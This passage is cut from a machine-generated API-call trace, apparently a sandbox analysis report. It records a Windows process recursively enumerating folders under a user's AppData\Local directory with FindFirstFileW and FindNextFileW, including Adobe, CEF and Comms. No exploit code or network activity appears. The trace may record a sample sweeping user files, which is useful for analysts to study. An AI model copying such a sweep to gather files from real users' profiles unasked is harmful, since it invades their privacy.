cAlternateFileName="")) returned 1 [0195.906] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.906] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.906] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x12fea34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0195.906] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x12feca8 | out: lpFindFileData=0x12feca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0195.907] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.907] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0195.907] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1 [0195.907] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0 [0195.907] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0195.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.907] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2e [0195.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.908] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2e [0195.908] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Application Data\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0195.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0195.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0195.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0195.910] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0195.910] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.910] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0195.910] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0195.911] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0195.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.911] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF", lpFilePart=0x0) returned 0x21 [0195.911] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\*", lpFindFileData=0x12fed88 | out: lpFindFileData=0x12fed88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.911] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.911] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0195.911] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.912] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0195.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0195.912] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.912] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.912] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0195.913] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0195.913] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data", lpFilePart=0x0) returned 0x2b [0195.918] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0195.919] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.919] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0195.919] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.919] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0195.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0195.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x12fea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0195.920] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x12fed08 | out: lpFindFileData=0x12fed08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0195.920] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.920] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.920] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0195.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", nBufferLength=0x105, lpBuffer=0x12fea34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries", lpFilePart=0x0) returned 0x38 [0195.920] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\*", lpFindFileData=0x12feca8 | out: lpFindFileData=0x12feca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0195.921] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.921] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.921] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0195.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0195.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.921] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x12feb74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0195.921] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x12fede8 | out: lpFindFileData=0x12fede8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0195.922] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0195.922] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf4 | out: lpFindFileData=0x12fedf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0195.923] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) 